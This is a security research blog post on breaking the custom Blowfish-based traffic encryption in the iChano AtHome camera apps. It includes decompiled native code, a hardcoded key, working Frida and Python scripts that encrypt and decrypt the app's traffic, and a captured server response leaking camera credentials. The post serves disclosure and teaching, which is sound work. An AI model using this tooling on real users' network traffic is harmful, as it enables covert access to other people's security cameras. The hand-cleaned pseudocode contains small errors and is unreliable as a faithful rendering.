Breaking iChano AtHome's network encryption with Frida

Background

Today we take a break from exploring stalkerware/watchware to examine a vulnerability in iChano AtHome Camera, a pair of applications allowing smartphones and computers to be used as IoT-enabled security cameras. This exploit allows an attacker snooping on the network while an AtHome Camera user logs into the Viewer app to intercept the credentials of all cameras to which the user has access, and later view or control these cameras from anywhere over the Internet. While this is somewhat less exciting than leaking the live locations of millions or the screen recordings of tens of thousands, it's a good demonstration of some Android dynamic instrumentation techniques.

Part 0: signup

AtHome Camera consists of two apps: AVS, which is installed on a device to be used as a security camera, and AtHome Viewer, which is installed on a device to be used to view the live stream from the first device's camera. We'll start by exploring AVS, playing with the app while monitoring network traffic with HTTP Toolkit.

AVS loads into a pretty barebones interface with no manual setup required. We are shown a 10-digit CID (camera ID), a randomly generated username and password, and a preview of the video currently streaming from the phone's camera. We also get a quick explanation of how the system works: the AVS phone is to be paired with the Viewer phone by entering the former's CID and credentials on the latter, allowing us to get a live feed of the AVS phone's camera over the Internet.

Looking through HTTP Toolkit, we see that several AVS-related requests have been made since launching the app, and that none of them use HTTPS. Instead, they use some sort of custom cryptography:

Before we can dive in any further, we'll need to figure out what this is and how to decrypt it.

Part 1: android reversing

We begin by decompiling the AVS APK in JADX-GUI and searching for a few of the request endpoints called on launch. None of these turn up any results, nor do any queries for HTTP-related methods. Indeed, the Java code doesn't seem to do much at all beyond provide the GUI. Instead, a bunch of native libraries are loaded on startup. Most of these are well-known and clearly related to multimedia processing, but there's one called libsdk30 that I don't recognize.

Part 2: native reversing

Next we start reversing libsdk30.so in Ghidra and try grabbing those endpoint strings. We have more luck this time! All the strings are present. It seems essentially the entire app logic lives in this native library. To make things easier to follow, I'll focus on one particular endpoint: updateHash, which is called to inform the server that the user has changed the credentials used to access the camera stream. Searching for it in Ghidra brings us to the following method:

void Mecs_UpdateSecret(int param_1)

{
  undefined2 uVar1;
  int iVar2;
  uint uVar3;
  undefined4 uVar4;
  undefined local_625;
  void *local_624;
  undefined4 local_620;
  byte local_61c [512];
  undefined auStack_41c [1024];
  int local_1c;

  local_1c = __stack_chk_guard;
  memset(auStack_41c,0,0x400);
  local_624 = (void *)0x0;
  local_620 = 0;
  local_625 = 0;
  memset(local_61c,0,0x200);
  iVar2 = Mecs_GetMgr();
  if (param_1 == 0) {
    iVar2 = 2;
    Cos_LogPrintf("Mecs_UpdateSecret",0x3ee,"PID_MECS",2,"inparam err (%s) == %s",
                  "(_VOID *)(pucHash)","COS_NULL");
  }
  else {
    Cos_Vsnprintf(auStack_41c,0x400,"%s/upload/%s/%llu/updateHash",iVar2 + 0x20,&DAT_0029eba6);
    Cos_Vsnprintf(local_61c,0x200,"{\"cid\":\"%llu\",\"hash\":\"%s\"}");
    uVar3 = (uint)local_61c[0];
    uVar4 = *(undefined4 *)(iVar2 + 0x234);
    uVar1 = *(undefined2 *)(iVar2 + 0x25e);
    if (uVar3 != 0) {
      uVar3 = strlen((char *)local_61c);
    }
    iVar2 = Tras_Httpclient_SendSyncPostRequest
                      (uVar4,iVar2,uVar1,auStack_41c,local_61c,uVar3,0x1e,&local_624,&local_620,
                       &local_625);
    if ((iVar2 == 0) && (local_624 != (void *)0x0)) {
      iVar2 = Mecs_ResponseOK();
      if (iVar2 != 0) {
        Cos_LogPrintf("Mecs_UpdateSecret",0x3ff,"PID_MECS",2,"failed to ReportProgress");
      }
    }
    else {
      Cos_LogPrintf("Mecs_UpdateSecret",0x3f8,"PID_MECS",2,"failed to SendSyncPostRequest");
      Mecs_ResStateReSet(local_625);
    }
    if (local_624 != (void *)0x0) {
      free(local_624);
    }
  }
  if (local_1c != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(iVar2);
  }
  return;
}

We don't even really need to clean this up at all to understand what's going on: a request URL and body are being built with Cos_Vsnprintf, then sent with a call to Tras_Httpclient_SendSyncPostRequest and the response validated with a call to Mecs_ResponseOK. The body is being created on Line 30 and passed in plain text to Tras_Httpclient_SendSyncPostRequest, so the encryption must be occurring somewhere downstream of that call. Tracing through, we pass through a few uninteresting utility wrappers before arriving at the helpfully named Tras_HTTP_EncrBuffer:

undefined4 Tras_Http_EncrBuffer(char *param_1,uint param_2,void *param_3,uint *param_4)
{
  uint uVar1;

  uVar1 = 1 - DAT_00328c70;
  if (1 < DAT_00328c70) {
    uVar1 = 0;
  }
  if (param_3 == (void *)0x0) {
    uVar1 = uVar1 | 1;
  }
  if ((((uVar1 == 0) && (uVar1 = param_2 + 7 & 0xfffffff8, uVar1 <= *param_4)) &&
      (param_1 != (char *)0x0)) && (*param_1 != '\0')) {
    memcpy(param_3,param_1,param_2);
    if (param_2 < uVar1) {
      do {
        *(undefined *)((int)param_3 + param_2) = 0x20;
        param_2 = param_2 + 1;
      } while (param_2 < uVar1);
    }
    Cos_CryptoBF_Encr(*(undefined4 *)(DAT_00328c70 + 0x228),param_3,uVar1);
    *param_4 = uVar1;
  }
  return 0;
}

Ghidra has gotten a bit confused about what's going on here, but it cleans up nicely with some context from the callee function:

int Tras_Http_EncrBuffer(char *ptxInBuf, int ptxInBufLen, char *ctxOutBuf, int *ctxOutBufLen)

{
  if (ptxInBuf && strlen(ptxInBuf > 0) && ctxOutBuf) {
    memcpy(ctxOutBuf, ptxInBuf, ptxInBufLen);

    while (ptxInBufLen < CTX_OUT_BUF_SIZE) {
      ctxInBuf[ptxInBufLen] = ' ';
    }

    Cos_CryptoBF_Encr(cryptoContext, ctxOutBuf, CTX_OUT_BUF_SIZE)
    *ctxOutBufLen = CTX_OUT_BUF_SIZE
  }
}

I didn't look into how CTX_BUF_SIZE is computed, because it's not relevant to what's happening here: the plaintext buffer is being taken in and copied to an output buffer, where it is being decrypted in-place downstream of Cos_CryptoBF_Encr. Tracing that function takes us through a few wrapper methods before ending at what seem to be ECB mode calls to a Blowfish encryption function. So the mystery cryptographic algorithm being used here is Blowfish! All we need to do now is find the key.

Searching for more HTTP-related functions (how kind of the developers not to strip names), we eventually get to Tras_HttpClientBase_Init:

void Tras_HttpClientBase_Init(undefined *param_1)

{
  undefined4 uVar1;
  size_t sVar2;
  byte local_24 [16];
  int local_14;

  local_14 = __stack_chk_guard;
  if (param_1 != (undefined *)0x0) {
    memset(local_24,0,0x10);
    strcpy((char *)local_24,"dayton9780");
    memset(param_1 + 8,0,0x100);
    memset(param_1 + 0x108,0,0x100);
    *param_1 = 0;
    *(undefined4 *)(param_1 + 4) = 1;
    uVar1 = Tras_Malloc_SockBuf(5);
    *(undefined4 *)(param_1 + 0x224) = uVar1;
    Cos_MutexCreate(param_1 + 0x214);
    Cos_MutexCreate(param_1 + 0x218);
    Cos_MutexCreate(param_1 + 0x21c);
    Cos_MutexCreate(param_1 + 0x220);
    Cos_InetFDCreate(param_1 + 0x20c);
    Cos_InetFDCreate(param_1 + 0x210);
    sVar2 = (size_t)local_24[0];
    *(undefined4 *)(param_1 + 0x22c) = 0;
    *(undefined4 *)(param_1 + 0x234) = 0;
    *(undefined4 *)(param_1 + 0x238) = 0;
    *(undefined4 *)(param_1 + 0x23c) = 0;
    *(undefined4 *)(param_1 + 0x244) = 0;
    *(undefined4 *)(param_1 + 0x248) = 0;
    if (sVar2 != 0) {
      sVar2 = strlen((char *)local_24);
    }
    uVar1 = Cos_CreateCrypto(local_24,sVar2,0);
    *(undefined4 *)(param_1 + 0x228) = uVar1;
  }
  if (local_14 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We can immediately see that Cos_CreateCrypto is being called with the string dayton9780 as the first parameter. Reversing some otherwise uninteresting functions downstream of this confirms that this is creating the cryptoContext used in Tras_Http_EncrBuffer

Part 3: we're not done yet

That should be it, right? We've figured out that our mystery protocol is Blowfish in ECB mode, and we have the key. Let's finally decrypt and see how this thing works!

Unfortunately we have no such luck. Despite trying various encodings and (just in case) modes, I can't get any of the request bodies to decrypt using Blowfish with this key. Either I've missed something important while reverse engineering, or the authors are using a somehow modified version of Blowfish and I didn't dig deep enough to notice.

In either case, the next step should be to go through my whole reversing process again, looking more attentively for unexpected functionality. But what if there's a faster way?

Part 4: dynamic instrumentation

Maybe we can just... call the function Frida is a terrific dynamic instrumentation toolkit that lets us directly inject scripts into our native library. I put together a quick script using the JS API:

const f = new NativeFunction(Module.getExportByName('libsdk30.so', 'Tras_Http_EncrBuffer'), 'int', ['pointer', 'int', 'pointer', 'pointer']);

this.ptx = Memory.alloc(ptxInBufLen);
this.ptx.writeByteArray([BYTES TO DECRYPT]);

this.ctx = Memory.alloc(ctxOutBufLen);
this.p4 = Memory.alloc(2);
this.p4.writeByteArray([0x10, 0x00]);

f(this.ptx, %s, this.ctx, this.p4);

var b = new Uint8Array(this.ctx.readByteArray(%s));
var str = "";

for(var i = 0; i < b.length; i++) {
    str += (b[i].toString(16).padStart(2,0) + " ");
}
send(str);

This simply declares a new Native Function object in Frida using our native library, the address of our function within the library (conveniently found by name), and the return value and argument list accepted by the function. It then allocates the buffers we need for our arguments and calls the function using pointers to them. Finally, we print the contents of the ciphertext output buffer.

Part 5a: a brief throwback to reversing

This would be easier to test if we had a decryption script as well, so we could just decrypt and re-encrypt the intercepted traffic. Tras_Http_EncrBuffer exists, maybe Tras_Http_DecrBuffer does as well? Indeed it does!

undefined4 Tras_Http_DecrBuffer(int param_1,undefined4 param_2)

{
  undefined4 uVar1;
  uint uVar2;

  Cos_LogPrintf("Tras_Http_DecrBuffer",0x37,"PID_TRAS",0x12,
                "Tras_Http_DecrBuffer pucBuf[0x%x] uiLen[%d]",param_1,param_2);
  uVar2 = 1 - DAT_00328c70;
  if (1 < DAT_00328c70) {
    uVar2 = 0;
  }
  if (param_1 == 0) {
    uVar2 = uVar2 | 1;
  }
  if (uVar2 == 0) {
    uVar1 = Cos_CryptoBF_Decr(*(undefined4 *)(DAT_00328c70 + 0x228),param_1,param_2);
    return uVar1;
  }
  return 1;
}

This is even more trivial to reverse:

undefined4 Tras_Http_DecrBuffer(char* ctxBuf, int ctxBufLen)

{
  Cos_LogPrintf("Tras_Http_DecrBuffer",0x37,"PID_TRAS",0x12, "Tras_Http_DecrBuffer pucBuf[0x%x] uiLen[%d]",ctxBuf,ctxBufLen);
  if (ctxBuf) {
    return Cos_CryptoBF_Decr(cryptoContext, ctxBuf, ctxBufLen);
  }
  return 1;
}

Interesting that encryption uses two buffers while decryption happens in place. In any case, now we can write a decryption script to match the encryption script above:

    const f = new NativeFunction(Module.getExportByName('libsdk30.so', 'Tras_Http_DecrBuffer'), 'int', ['pointer', 'int'])

    this.ctx = Memory.alloc(ctxBufLen);
    this.ctx.writeByteArray([BYTES TO DECRYPT]);

    f(this.ctx, ctxBufLen)

    send(this.ctx.readCString())

Part 6: time to send it

For ease of use, let's wrap both of these using Frida's Python API.

from binascii import hexlify
import sys
import textwrap

import frida

def on_message(message, data):
    print(message["payload"])

def ichano_decrypt(ctx):
    ctx_length = len(ctx.split())
    ctx_formatted = ",".join(["0x" + b for b in ctx.split()])

    script = """
    const f = new NativeFunction(Module.getExportByName('libsdk30.so', 'Tras_Http_DecrBuffer'), 'int', ['pointer', 'int'])

    this.ctx = Memory.alloc(%s);
    this.ctx.writeByteArray([%s]);

    f(this.ctx, %s)

    send(this.ctx.readCString())
    """ % (ctx_length, ctx_formatted, ctx_length)

    device = frida.get_device_manager().enumerate_devices()[-1]
    session = device.attach("AVS")

    script = session.create_script(script)

    script.on("message", on_message)
    script.load()

def ichano_encrypt(ptx):
    ptx_bytes = hexlify(str.encode(ptx))
    ptx_bytes_formatted = ",".join(["0x" + b for b in textwrap.wrap(ptx_bytes.decode(), 2)])

    script = """
    const f = new NativeFunction(Module.getExportByName('libsdk30.so', 'Tras_Http_EncrBuffer'), 'int', ['pointer', 'int', 'pointer', 'pointer']);

    this.ptx = Memory.alloc(%s);
    this.ptx.writeByteArray([%s]);

    this.ctx = Memory.alloc(%s);
    this.thousand = Memory.alloc(2);
    this.thousand.writeByteArray([0x10, 0x00]);

    f(this.ptx, %s, this.ctx, this.thousand);

    var b = new Uint8Array(this.ctx.readByteArray(%s));
    var str = "";

    for(var i = 0; i < b.length; i++) {
        str += (b[i].toString(16).padStart(2,0) + " ");
    }
    send(str);
    """ % (len(ptx_bytes)/2, ptx_bytes_formatted, len(ptx_bytes)/2, len(ptx_bytes)/2, len(ptx_bytes)/2)

    device = frida.get_device_manager().enumerate_devices()[-1]
    session = device.attach("AVS")

    script = session.create_script(script)

    script.on("message", on_message)
    script.load()

if __name__ == "__main__":
    if sys.argv[1] == "d":
        ichano_decrypt(sys.argv[2])
    elif sys.argv[1] == "e":
        ichano_encrypt(sys.argv[2])

Now, all we should need to do to decrypt and re-encrypt iChano AtHome's network traffic is to use this script with a rooted Android device running Frida Server and AVS plugged in through USB.

decrypt screenshot

Success! We've completely broken the app's cryptography, without even needing to know how to decrypt it ourselves. Re-encrypting the plaintext also correctly gives back the original ciphertext.

Part 7: leaking camera credentials

This post is mainly about doing cool things with Frida, but I did promise an exploit, so I guess I'd better deliver. We're going to switch over to looking at AtHome Viewer, the app used to remotely view the camera feed being recorded by AVS. Once we've made a Viewer account and added some cameras, the app periodically triggers this request-response, helpfully decrypted with our fancy new script:

METHOD: POST
URL: http://3.213.145.94/user/v3/avs/sync
Accept: */*
Accept-Language: zh-cn
Connection: keep-alive
Content-Length: 96
Content-Type: application/json
Host: 3.213.145.94:80
User-Agent: ICHANO SDK/3.6.7

{"session_id":"3097165d-6eb4-4f6e-91b6-ea2a8e2f18c2","ts":"2024-07-23 19:00:28","source":7}

STATUS: 200 OK
Connection: keep-alive
Content-Length: 248
Content-Type: application/json;charset=utf-8
Date: Wed, 24 Jul 2024 19:39:24 GMT
Server: nginx/1.18.0 (Ubuntu)

{"code":1000,
 "data":[{"cid":"1801215289","cloud_level":2,"cpasswd":"strongcam1password","cuser":"ericsfirstcam","source":1},
         {"cid":"1801241779","cloud_level":2,"cpasswd":"strongcam2password","cuser":"ericssecondcam","source":1}],
 "error_message":"OK","ts":"2024-07-24 15:38:32"}

That data array in the response contains the CID and credentials for every AVS camera which has been added to the viewer. This is enough information for an attacker to completely control a camera, and it's being broadcasted essentially in the clear to the entire network.

Use HTTPS, people! It'll stop your sensitive data from leaking and it's less work than devising whatever this setup is.

Timeline

support

If you've made it this far, consider supporting my work with a small donation on ko-fi! This site is ad-free, and social-media-free and uses open-source privacy-respecting analytics.

Top